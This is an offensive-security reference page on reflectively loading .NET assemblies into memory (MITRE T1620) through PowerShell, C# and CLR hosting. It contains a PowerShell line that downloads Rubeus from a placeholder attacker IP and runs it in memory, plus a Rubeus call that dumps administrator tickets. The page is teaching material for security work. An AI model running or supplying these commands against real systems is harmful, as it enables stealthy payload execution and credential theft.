Loading .NET Reflective Assembly

MITRE ATT&CK™ Reflective Code Loading - Technique T1620

Theory

We may reflectively load .NET code (exe or dll) into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process without calling the standard Windows APIs.

Practice

Powershell

We can implement Reflective Assembly Loading throught powershell to load the .NET assembly of a exe/dll using [System.Reflection.Assembly]

When reflectively loading .NET assembly (exe or dll), we have access to all it's classes and methods directely from powershell.

We can find lot of C# offensive tools on the SharpCollection Github repository that we may reflectively load. As example, we will take Rubeus.

On the Windows Tartget, via powershell, load the .NET assembly:

#Load assembly from memory
$data=(New-Object Net.Webclient).DownloadData("http://<ATTACKING_IP>/Rubeus.exe")
[System.Reflection.Assembly]::Load($data)

#Load assembly from disk
[System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes(".\Rubeus.exe"))

We can now call its methods

[Rubeus.Program]::Main("dump /user:administrator".Split())

C#

We can implement Reflective Assembly Loading in C# and load the .NET assembly of a exe/dll.

Here is a simple code to load a .NET assembly (exe or dll) in memory from C# using the Assembly.Load() method

Compile it, and execute it

C/C++

It possible to inject .NET assemblies (.exe and .dll) into an unmanaged process (not C# process) and invoke their methods.

Common Language Runtime (CLR) is the name chosen by Microsoft for the virtual machine component of the .NET framework. It is Microsoft's implementation of the Common Language Infrastructure (CLI) standard, which defines the execution environment for program code.

At a high level, it works as follows:

  1. CLRCreateInstance is used to retrieve an interface ICLRMetaHost

  2. ICLRMetaHost->GetRuntime is used to retrieve ICLRRuntimeInfo interface for a specified CLR version

  3. ICLRRuntimeInfo->GetInterface is used to load the CLR into the current process and retrieve an interface ICLRRuntimeHost

  4. ICLRRuntimeHost->Start is used to initialize the CLR into the current process

  5. ICLRRuntimeHost->ExecuteInDefaultAppDomain is used to load the C# .NET assembly and call a particular method with an optionally provided argument

  • managed.cs is a C# program that is loaded by the unmanaged process.

  • unmanaged.cpp is a C++ program that loads a C# assembly (managed.exe). It invoks via ExecuteInDefaultAppDomain the spotlessMethod method from the C# assembly

Compile it and execute it

Tools

If we can access the target through WinRM, we can use the built-in commands to load dll libraries and binaries in memory.

Dll-Loader

We can use Dll-Loader to load dll in memory. The dll file can be hosted by smb, http or locally. Once it is loaded type menu, then it is possible to autocomplete all functions.

Invoke-Binary

We can use Invoke-Binary to load a local (on attacking host) .NET binary in memory.

Resources

Last updated

Was this helpful?